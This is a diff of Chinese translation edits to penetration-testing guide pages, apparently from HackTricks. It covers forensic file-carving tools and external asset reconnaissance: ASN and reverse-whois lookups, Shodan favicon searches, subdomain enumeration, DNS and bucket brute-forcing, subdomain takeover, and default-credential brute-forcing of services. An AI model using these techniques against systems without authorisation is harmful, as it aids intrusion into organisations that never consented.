**Binwalk** 是一个分析二进制文件以查找嵌入内容的工具。可以通过 `apt` 安装，其源代码在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上。
|
||||
|
||||
**有用的命令**：
|
||||
```bash
|
||||
@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
### Foremost
|
||||
|
||||
另一个常用的查找隐藏文件的工具是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件，请取消注释它们。如果您不取消注释任何内容，foremost 将搜索其默认配置的文件类型。
|
||||
另一个常用的工具来查找隐藏文件是 **foremost**。你可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果你只想搜索一些特定的文件，请取消注释它们。如果你不取消注释任何内容，foremost 将搜索其默认配置的文件类型。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
@ -40,15 +40,15 @@ scalpel file.img -o output
|
||||
|
||||
这个工具包含在kali中，但你可以在这里找到它: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
这个工具可以扫描一个镜像并将**提取pcaps**，**网络信息（URLs，域名，IPs，MACs，邮件）**和更多**文件**。你只需执行：
|
||||
这个工具可以扫描一个镜像并将**提取pcaps**，**网络信息（URLs，域名，IPs，MACs，邮件）**以及更多**文件**。你只需执行：
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
导航工具收集的**所有信息**（密码？），**分析** **数据包**（阅读[ **Pcaps分析**](../pcap-inspection/)），搜索**奇怪的域名**（与**恶意软件**或**不存在**的域名相关）。
|
||||
导航工具收集的**所有信息**（密码？），**分析** **数据包**（阅读[ **Pcaps分析**](../pcap-inspection/index.html)），搜索**奇怪的域名**（与**恶意软件**或**不存在**的域名相关）。
|
||||
|
||||
### PhotoRec
|
||||
|
||||
您可以在 [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) 找到它。
|
||||
您可以在[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)找到它。
|
||||
|
||||
它提供GUI和CLI版本。您可以选择PhotoRec要搜索的**文件类型**。
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
## Foremost
|
||||
|
||||
另一个常用的查找隐藏文件的工具是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件，请取消注释它们。如果您不取消注释任何内容，foremost 将搜索其默认配置的文件类型。
|
||||
另一个常用的工具来查找隐藏文件是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件，请取消注释它们。如果您不取消注释任何内容，foremost 将搜索其默认配置的文件类型。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
@ -35,17 +35,17 @@ scalpel file.img -o output
|
||||
|
||||
这个工具包含在kali中，但你可以在这里找到它: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
这个工具可以扫描一个镜像并将**提取pcaps**，**网络信息（URLs，域名，IPs，MACs，邮件）**和更多**文件**。你只需执行：
|
||||
这个工具可以扫描一个镜像并将**提取pcaps**，**网络信息（URLs，域名，IPs，MACs，邮件）**以及更多**文件**。你只需执行：
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
导航通过工具收集的**所有信息**（密码？），**分析** **数据包**（阅读[ **Pcaps分析**](../pcap-inspection/)），搜索**奇怪的域名**（与**恶意软件**或**不存在的**域名相关）。
|
||||
导航工具收集的**所有信息**（密码？），**分析**数据包（阅读[ **Pcaps分析**](../pcap-inspection/index.html)），搜索**奇怪的域名**（与**恶意软件**或**不存在的**域名相关）。
|
||||
|
||||
## PhotoRec
|
||||
|
||||
您可以在[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)找到它。
|
||||
|
||||
它提供GUI和CLI版本。您可以选择要让PhotoRec搜索的**文件类型**。
|
||||
它提供GUI和CLI版本。您可以选择PhotoRec要搜索的**文件类型**。
|
||||
|
||||
|
||||
|
||||
|
||||
@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
### Foremost
|
||||
|
||||
另一个常用的查找隐藏文件的工具是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件，请取消注释它们。如果您不取消注释任何内容，foremost 将搜索其默认配置的文件类型。
|
||||
另一个常用的工具来查找隐藏文件是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件，请取消注释它们。如果您不取消注释任何内容，foremost 将搜索其默认配置的文件类型。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
@ -40,17 +40,17 @@ scalpel file.img -o output
|
||||
|
||||
这个工具包含在kali中，但你可以在这里找到它: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
这个工具可以扫描一个镜像并**提取pcaps**，**网络信息（URLs、域名、IPs、MACs、邮件）**以及更多**文件**。你只需执行：
|
||||
这个工具可以扫描一个镜像并将**提取pcaps**，**网络信息（URLs，域名，IPs，MACs，邮件）**以及更多**文件**。你只需执行：
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
导航通过**工具收集的所有信息**（密码？），**分析** **数据包**（阅读[ **Pcaps分析**](../pcap-inspection/)），搜索**奇怪的域名**（与**恶意软件**或**不存在**的域名相关）。
|
||||
导航工具收集的**所有信息**（密码？），**分析**数据包（阅读[ **Pcaps分析**](../pcap-inspection/index.html)），搜索**奇怪的域名**（与**恶意软件**或**不存在**的域名相关）。
|
||||
|
||||
### PhotoRec
|
||||
|
||||
您可以在[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)找到它。
|
||||
|
||||
它提供GUI和CLI版本。您可以选择希望PhotoRec搜索的**文件类型**。
|
||||
它提供GUI和CLI版本。您可以选择PhotoRec要搜索的**文件类型**。
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -6,29 +6,29 @@
|
||||
|
||||
> 所以你被告知某家公司所有的东西都在范围内，你想弄清楚这家公司实际上拥有什么。
|
||||
|
||||
这个阶段的目标是获取**母公司拥有的所有公司**，然后获取这些公司的**资产**。为此，我们将：
|
||||
这个阶段的目标是获取**主要公司拥有的所有公司**，然后获取这些公司的**资产**。为此，我们将：
|
||||
|
||||
1. 找到母公司的收购，这将给我们范围内的公司。
|
||||
1. 找到主要公司的收购，这将给我们范围内的公司。
|
||||
2. 找到每个公司的ASN（如果有的话），这将给我们每个公司拥有的IP范围。
|
||||
3. 使用反向whois查找搜索与第一个相关的其他条目（组织名称、域名...）（这可以递归进行）。
|
||||
4. 使用其他技术，如shodan的`org`和`ssl`过滤器来搜索其他资产（`ssl`技巧可以递归进行）。
|
||||
4. 使用其他技术，如shodan `org`和`ssl`过滤器搜索其他资产（`ssl`技巧可以递归进行）。
|
||||
|
||||
### **收购**
|
||||
|
||||
首先，我们需要知道**母公司拥有的其他公司**。\
|
||||
一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com)，**搜索**母公司，并**点击**“**收购**”。在那里你将看到母公司收购的其他公司。\
|
||||
另一个选项是访问母公司的**维基百科**页面并搜索**收购**。
|
||||
首先，我们需要知道**主要公司拥有的其他公司**。\
|
||||
一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com)，**搜索** **主要公司**，并**点击**“**收购**”。在那里你将看到主要公司收购的其他公司。\
|
||||
另一个选项是访问主要公司的**维基百科**页面并搜索**收购**。
|
||||
|
||||
> 好吧，到这个时候你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。
|
||||
|
||||
### **ASNs**
|
||||
|
||||
自治系统编号（**ASN**）是由**互联网分配号码管理局（IANA）**分配给**自治系统**（AS）的**唯一编号**。\
|
||||
一个**AS**由**IP地址**的**块**组成，这些块有明确的政策来访问外部网络，并由单一组织管理，但可能由多个运营商组成。
|
||||
一个**AS**由**IP地址**的**块**组成，这些块有明确的政策来访问外部网络，并由单个组织管理，但可能由多个运营商组成。
|
||||
|
||||
找出**公司是否分配了任何ASN**以找到其**IP范围**是很有趣的。对范围内的所有**主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
|
||||
你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域名**进行**搜索**。\
|
||||
**根据公司的地区，这些链接可能对收集更多数据有用：**[**AFRINIC**](https://www.afrinic.net) **（非洲），** [**Arin**](https://www.arin.net/about/welcome/region/) **（北美），** [**APNIC**](https://www.apnic.net) **（亚洲），** [**LACNIC**](https://www.lacnic.net) **（拉丁美洲），** [**RIPE NCC**](https://www.ripe.net) **（欧洲）。无论如何，所有的**有用信息**（IP范围和Whois）可能已经在第一个链接中出现。**
|
||||
**根据公司的地区，这些链接可能对收集更多数据有用：** [**AFRINIC**](https://www.afrinic.net) **（非洲），** [**Arin**](https://www.arin.net/about/welcome/region/) **（北美），** [**APNIC**](https://www.apnic.net) **（亚洲），** [**LACNIC**](https://www.lacnic.net) **（拉丁美洲），** [**RIPE NCC**](https://www.ripe.net) **（欧洲）。无论如何，所有的**有用信息**（IP范围和Whois）可能已经在第一个链接中出现。**
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
@ -51,13 +51,13 @@ bbot -t tesla.com -f subdomain-enum
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
您可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围（它有免费的 API）。\
|
||||
您还可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围（它有免费的 API）。\
|
||||
您可以使用 [http://ipv4info.com/](http://ipv4info.com) 查找域名的 IP 和 ASN。
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
在这一点上，我们知道 **范围内的所有资产**，所以如果您被允许，可以对所有主机启动一些 **漏洞扫描器**（Nessus, OpenVAS）。\
|
||||
此外，您可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **，根据您发现的内容，您应该** 查阅本书以了解如何对多个可能运行的服务进行渗透测试。\
|
||||
此外，您还可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **，根据您发现的内容，您应该** 查阅本书了解如何对多个可能运行的服务进行渗透测试。\
|
||||
**此外，值得一提的是，您还可以准备一些** 默认用户名 **和** 密码 **列表，并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务。
|
||||
|
||||
## 域名
|
||||
@ -70,7 +70,7 @@ _请注意，在以下提出的技术中，您还可以找到子域名，这些
|
||||
|
||||
### **反向 DNS**
|
||||
|
||||
由于您已经找到了域名的所有 IP 范围，您可以尝试对这些 **IP 执行反向 DNS 查找，以查找范围内的更多域名**。尝试使用受害者的某个 DNS 服务器或一些知名的 DNS 服务器（1.1.1.1, 8.8.8.8）。
|
||||
由于您已经找到了域名的所有 IP 范围，您可以尝试对这些 **IP 执行反向 DNS 查找，以查找范围内的更多域名**。尝试使用受害者的一些 DNS 服务器或一些知名的 DNS 服务器（1.1.1.1, 8.8.8.8）。
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
@ -82,21 +82,21 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
|
||||
### **反向 Whois（循环）**
|
||||
|
||||
在 **whois** 中，您可以找到很多有趣的 **信息**，如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是，如果您通过这些字段中的任何一个进行 **反向 whois 查询**（例如，其他 whois 注册表中出现相同的电子邮件），您可以找到 **与公司相关的更多资产**。\
|
||||
您可以使用在线工具，如：
|
||||
在 **whois** 中，您可以找到很多有趣的 **信息**，如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是，如果您通过这些字段中的任何一个进行 **反向 whois 查询**，可以找到 **与公司相关的更多资产**（例如，其他 whois 注册表中出现相同电子邮件的情况）。\
|
||||
您可以使用在线工具，例如：
|
||||
|
||||
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
|
||||
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费**
|
||||
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费**
|
||||
- [https://www.whoxy.com/](https://www.whoxy.com) - **免费**网站，不免费API。
|
||||
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费（仅 **100 次免费** 查询）
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费（仅 **100 次免费**查询）
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - 不免费
|
||||
|
||||
您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink) 自动化此任务（需要 whoxy API 密钥）。\
|
||||
您还可以使用 [amass](https://github.com/OWASP/Amass) 进行一些自动反向 whois 发现：`amass intel -d tesla.com -whois`
|
||||
|
||||
**请注意，每次找到新域名时，您可以使用此技术发现更多域名。**
|
||||
**请注意，每次找到新域名时，您都可以使用此技术发现更多域名。**
|
||||
|
||||
### **跟踪器**
|
||||
|
||||
@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
|
||||
### **Favicon**
|
||||
|
||||
您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域和子域吗？这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它：
|
||||
您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域名和子域名吗？这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它：
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
||||
简单来说，favihash 允许我们发现与目标具有相同 favicon 图标哈希的域名。
|
||||
|
||||
此外，您还可以使用 favicon 哈希搜索技术，如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的 web 技术的 favicon 哈希**，您可以在 shodan 中搜索并 **找到更多易受攻击的地方**：
|
||||
此外，您还可以使用 favicon 哈希搜索技术，如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **一个易受攻击的 web 技术的 favicon 哈希**，您可以在 shodan 中搜索并 **找到更多易受攻击的地方**：
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
@ -155,13 +155,13 @@ return fhash
|
||||
|
||||
### 邮件 DMARC 信息
|
||||
|
||||
您可以使用一个网站，如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具，如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域名和子域名**。
|
||||
您可以使用网站如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或工具如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域名和子域名**。
|
||||
|
||||
### **被动接管**
|
||||
|
||||
显然，人们常常将子域名分配给属于云服务提供商的IP，并在某个时刻**失去该IP地址但忘记删除DNS记录**。因此，仅仅在云中**创建一个虚拟机**（如 Digital Ocean），您实际上将**接管一些子域名**。
|
||||
显然，人们常常将子域名分配给属于云服务提供商的IP，并在某个时刻**失去该IP地址但忘记删除DNS记录**。因此，仅仅在云中**创建一个虚拟机**（如Digital Ocean），您实际上将**接管一些子域名**。
|
||||
|
||||
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事，并提出了一个脚本，该脚本**在 DigitalOcean 中创建一个虚拟机**，**获取**新机器的**IPv4**，并**在 Virustotal 中搜索指向它的子域名记录**。
|
||||
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事，并提出了一个脚本，该脚本**在DigitalOcean中创建虚拟机**，**获取**新机器的**IPv4**，并**在Virustotal中搜索指向它的子域名记录**。
|
||||
|
||||
### **其他方法**
|
||||
|
||||
@ -169,9 +169,9 @@ return fhash
|
||||
|
||||
**Shodan**
|
||||
|
||||
如您所知，您可以通过组织名称搜索IP空间。您可以在 Shodan 中使用以下数据进行搜索：`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。
|
||||
如您所知，您可以使用IP空间的组织名称进行搜索。您可以在shodan中使用以下数据进行搜索：`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。
|
||||
|
||||
您可以访问主网页的**TLS证书**，获取**组织名称**，然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称，使用过滤器：`ssl:"Tesla Motors"`，或使用像[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)这样的工具。
|
||||
您可以访问主网页的**TLS证书**，获取**组织名称**，然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称，使用过滤器：`ssl:"Tesla Motors"`，或使用工具如[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)。
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
@ -181,8 +181,8 @@ return fhash
|
||||
|
||||
检查一些[域名接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域名**但他们**失去了所有权**。只需注册它（如果足够便宜）并告知公司。
|
||||
|
||||
如果您发现任何**IP与您在资产发现中找到的不同的域名**，您应该执行**基本漏洞扫描**（使用 Nessus 或 OpenVAS）和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside)，使用**nmap/masscan/shodan**。根据运行的服务，您可以在**本书中找到一些“攻击”它们的技巧**。\
|
||||
&#xNAN;_Note 有时域名托管在不受客户控制的IP内，因此不在范围内，请小心。_
|
||||
如果您发现任何**IP与您在资产发现中找到的不同**的域名，您应该执行**基本漏洞扫描**（使用Nessus或OpenVAS）和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务，您可以在**本书中找到一些“攻击”它们的技巧**。\
|
||||
&#xNAN;_Note有时域名托管在不受客户控制的IP内，因此不在范围内，请小心。_
|
||||
|
||||
## 子域名
|
||||
|
||||
@ -191,11 +191,11 @@ return fhash
|
||||
是时候找到每个找到的域名的所有可能子域名。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意，一些查找域名的工具和技术也可以帮助查找子域名。
|
||||
> 请注意，一些查找域名的工具和技术也可以帮助查找子域名
|
||||
|
||||
### **DNS**
|
||||
|
||||
让我们尝试从**DNS**记录中获取**子域名**。我们还应该尝试进行**区域传输**（如果存在漏洞，您应该报告）。
|
||||
让我们尝试从**DNS**记录中获取**子域名**。我们还应该尝试进行**区域传输**（如果存在漏洞，您应该报告它）。
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
@ -315,7 +315,7 @@ python3 DomainTrail.py -d example.com
|
||||
- [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史
|
||||
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
该项目提供 **与漏洞赏金计划相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据，甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
该项目提供 **与漏洞悬赏程序相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据，甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
@ -323,7 +323,7 @@ python3 DomainTrail.py -d example.com
|
||||
|
||||
让我们尝试通过暴力破解 DNS 服务器来查找新的 **子域名**，使用可能的子域名名称。
|
||||
|
||||
为此操作，您需要一些 **常见子域名字典，如**:
|
||||
为此操作，您需要一些 **常见的子域名词汇表，如**:
|
||||
|
||||
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 的包装器，使用 Go 编写，允许您通过主动暴力破解枚举有效的子域名，并支持通配符处理和简单的输入输出。
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 的封装，使用 Go 编写，允许您通过主动暴力破解枚举有效的子域名，并支持通配符处理和简单的输入输出。
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
@ -374,8 +374,8 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列，它还可以尝试解析它们（但最好使用之前提到的工具）。
|
||||
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列的 **词表**。
|
||||
- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列外，它还可以尝试解析它们（但最好使用之前提到的工具）。
|
||||
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列的 **wordlist**。
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
@ -385,17 +385,17 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名，它 **生成新的潜在子域名**，基于指示的模式以尝试发现更多子域名。
|
||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名，它 **生成新的潜在子域名**，根据指示的模式尝试发现更多子域名。
|
||||
|
||||
#### 智能排列生成
|
||||
|
||||
- [**regulator**](https://github.com/cramppet/regulator): 有关更多信息，请阅读此 [**帖子**](https://cramppet.github.io/regulator/index.html)，但它基本上会从 **发现的子域名** 中获取 **主要部分** 并将其混合以找到更多子域名。
|
||||
- [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html)，但它基本上会从 **发现的子域名** 中提取 **主要部分** 并进行混合以找到更多子域名。
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器，结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据，如定制的单词列表或历史 DNS/TLS 记录，准确合成更多相应的域名，并根据在 DNS 扫描期间收集的信息进一步扩展它们。
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器，结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据，如定制的单词列表或历史 DNS/TLS 记录，准确合成更多相应的域名，并根据在 DNS 扫描过程中收集的信息进一步扩展它们。
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
@ -438,7 +438,7 @@ VHostScan -t example.com
|
||||
> [!NOTE]
|
||||
> 使用此技术，您甚至可能能够访问内部/隐藏的端点。
|
||||
|
||||
### **CORS 暴力破解**
|
||||
### **CORS Brute Force**
|
||||
|
||||
有时您会发现页面仅在有效的域/子域设置在 _**Origin**_ 头时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下，您可以利用这种行为来 **发现** 新的 **子域**。
|
||||
```bash
|
||||
@ -446,83 +446,83 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
```
|
||||
### **桶暴力破解**
|
||||
|
||||
在寻找**子域名**时，注意是否指向任何类型的**桶**，在这种情况下，请[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
此外，既然此时您将知道所有在范围内的域名，请尝试[**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
|
||||
在寻找 **子域名** 时，注意是否指向任何类型的 **桶**，在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
此外，既然此时您将知道所有在范围内的域名，请尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
|
||||
|
||||
### **监控**
|
||||
|
||||
您可以通过监控**证书透明度**日志来**监控**某个域名是否创建了**新子域名**，[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。
|
||||
您可以通过监控 **证书透明度** 日志来 **监控** 是否创建了域的新 **子域名** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)实现。
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
检查可能的[**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
|
||||
如果**子域名**指向某个**S3桶**，[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
|
||||
检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\
|
||||
如果 **子域名** 指向某个 **S3 桶**，请 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
|
||||
|
||||
如果您发现任何**子域名的IP与您在资产发现中找到的不同**，您应该执行**基本漏洞扫描**（使用Nessus或OpenVAS）和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside)，使用**nmap/masscan/shodan**。根据运行的服务，您可以在**本书中找到一些“攻击”它们的技巧**。\
|
||||
&#xNAN;_Note到有时子域名托管在不受客户控制的IP内，因此不在范围内，请小心。_
|
||||
如果您发现任何 **子域名的 IP 与您在资产发现中找到的不同**，您应该执行 **基本漏洞扫描**（使用 Nessus 或 OpenVAS）和一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务，您可以在 **本书中找到一些“攻击”它们的技巧**。\
|
||||
&#xNAN;_Note 有时子域名托管在不受客户控制的 IP 内，因此不在范围内，请小心。_
|
||||
|
||||
## IPs
|
||||
|
||||
在初始步骤中，您可能已经**找到了一些IP范围、域名和子域名**。\
|
||||
现在是**收集这些范围内的所有IP**以及**域名/子域名（DNS查询）**的时候了。
|
||||
在初始步骤中，您可能已经 **找到了一些 IP 范围、域名和子域名**。\
|
||||
现在是 **收集这些范围内的所有 IP** 和 **域名/子域名（DNS 查询）**的时候。
|
||||
|
||||
使用以下**免费API**的服务，您还可以找到**域名和子域名之前使用的IP**。这些IP可能仍然归客户所有（并可能让您找到[**CloudFlare绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)）
|
||||
使用以下 **免费 API** 的服务，您还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有（并可能让您找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)）
|
||||
|
||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
您还可以使用工具[**hakip2host**](https://github.com/hakluke/hakip2host)检查指向特定IP地址的域名。
|
||||
您还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
